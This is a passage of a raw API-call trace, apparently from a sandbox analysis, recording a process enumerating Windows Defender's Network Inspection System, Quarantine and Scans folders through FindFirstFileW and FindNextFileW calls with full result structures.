nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support", lpFilePart=0x0) returned 0x4f [0226.196] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\network inspection system\\support\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf926e663, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4b10 [0226.197] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf926e663, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.198] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf926e663, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf926e663, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0x3ae0e073, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x64b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisLog.txt", cAlternateFileName="")) returned 1 [0226.198] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.198] FindClose (in: hFindFile=0x1d1f4b10 | out: hFindFile=0x1d1f4b10) returned 1 [0226.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0226.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0226.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0226.198] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support", nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support", lpFilePart=0x0) returned 0x4f [0226.198] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\network inspection system\\support\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf926e663, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf926e663, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4390 [0226.199] FindNextFileW (in: hFindFile=0x1d1f4390, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf926e663, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf926e663, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.199] FindNextFileW (in: hFindFile=0x1d1f4390, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf926e663, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf926e663, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0x3ae0e073, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x64b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisLog.txt", cAlternateFileName="")) returned 1 [0226.199] FindNextFileW (in: hFindFile=0x1d1f4390, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf926e663, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf926e663, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0x3ae0e073, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x64b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisLog.txt", cAlternateFileName="")) returned 0 [0226.199] FindClose (in: hFindFile=0x1d1f4390 | out: hFindFile=0x1d1f4390) returned 1 [0226.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0226.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0226.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9eae0) returned 1 [0226.199] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine", nBufferLength=0x105, lpBuffer=0x1dc9e5c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine", lpFilePart=0x0) returned 0x38 [0226.200] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\quarantine\\*"), lpFindFileData=0x1dc9e7f0 | out: lpFindFileData=0x1dc9e7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4b10 [0226.208] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.209] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0226.209] FindClose (in: hFindFile=0x1d1f4b10 | out: hFindFile=0x1d1f4b10) returned 1 [0226.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9ea10) returned 1 [0226.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e9d0) returned 1 [0226.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9eae0) returned 1 [0226.209] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine", nBufferLength=0x105, lpBuffer=0x1dc9e5c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine", lpFilePart=0x0) returned 0x38 [0226.209] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\quarantine\\*"), lpFindFileData=0x1dc9e7f0 | out: lpFindFileData=0x1dc9e7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4b10 [0226.209] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.210] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0226.210] FindClose (in: hFindFile=0x1d1f4b10 | out: hFindFile=0x1d1f4b10) returned 1 [0226.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9ea10) returned 1 [0226.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e9d0) returned 1 [0226.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9eae0) returned 1 [0226.210] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans", nBufferLength=0x105, lpBuffer=0x1dc9e5c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans", lpFilePart=0x0) returned 0x33 [0226.210] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\*"), lpFindFileData=0x1dc9e7f0 | out: lpFindFileData=0x1dc9e7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4b10 [0226.213] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.214] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CleanFileTelemetry", cAlternateFileName="CLEANF~1")) returned 1 [0226.214] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CleanStore", cAlternateFileName="CLEANS~1")) returned 1 [0226.214] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06b4edd, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xd06b4edd, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd06b4edd, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0226.214] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MetaStore", cAlternateFileName="METAST~1")) returned 1 [0226.214] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf141f151, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf141f151, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0xa2b1a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin", cAlternateFileName="MPCACH~1.BIN")) returned 1 [0226.215] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf907e70d, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf907e70d, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf90caa0a, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x18ea5e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin.5B", cAlternateFileName="MPCACH~1.5B")) returned 1 [0226.215] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf89c9d40, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf89c9d40, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf8ceae5e, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x6a1ab6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin.67", cAlternateFileName="MPCACH~1.67")) returned 1 [0226.215] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xf8d374fb, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf8d374fb, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf8d83941, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x3b14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin.79", cAlternateFileName="MPCACH~1.79")) returned 1 [0226.215] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xf8da9a4e, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf8da9a4e, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf8da9a4e, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x529000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin.7C", cAlternateFileName="MPCACH~1.7C")) returned 1 [0226.215] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8e8ea4a, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf8e8ea4a, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf8e8ea4a, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x3cff18, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin.7E", cAlternateFileName="MPCACH~1.7E")) returned 1 [0226.215] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8fe5e00, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf8fe5e00, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf900c0a9, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0xcfdc43, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin.80", cAlternateFileName="MPCACH~1.80")) returned 1 [0226.216] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xf907e70d, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf907e70d, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf907e70d, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x1d7f38, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin.83", cAlternateFileName="MPCACH~1.83")) returned 1 [0226.216] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf900c0a9, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf900c0a9, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf900c0a9, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x1a3a61, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin.87", cAlternateFileName="MPCACH~1.87")) returned 1 [0226.216] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf90582ee, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf90582ee, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf907e70d, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x358f2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin.A0", cAlternateFileName="MPCACH~1.A0")) returned 1 [0226.216] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf907e70d, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf907e70d, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf907e70d, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x5fff9, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin.CB", cAlternateFileName="MPCACH~1.CB")) returned 1 [0226.216] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf907e70d, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf907e70d, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf907e70d, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x441a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin.CC", cAlternateFileName="MPCACH~1.CC")) returned 1 [0226.216] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd06b4edd, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xd06b4edd, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0x63bd6e5a, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpDiag.bin", cAlternateFileName="")) returned 1 [0226.216] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf141f151, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf141f151, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf141f151, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RtSigs", cAlternateFileName="")) returned 1 [0226.217] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf141f151, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf141f151, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf141f151, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RtSigs", cAlternateFileName="")) returned 0 [0226.217] FindClose (in: hFindFile=0x1d1f4b10 | out: hFindFile=0x1d1f4b10) returned 1 [0226.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9ea10) returned 1 [0226.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e9d0) returned 1 [0226.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9eae0) returned 1 [0226.218] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans", nBufferLength=0x105, lpBuffer=0x1dc9e5c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans", lpFilePart=0x0) returned 0x33 [0226.218] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\*"), lpFindFileData=0x1dc9e7f0 | out: lpFindFileData=0x1dc9e7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4330 [0226.219] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.220] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CleanFileTelemetry", cAlternateFileName="CLEANF~1")) returned 1 [0226.220] 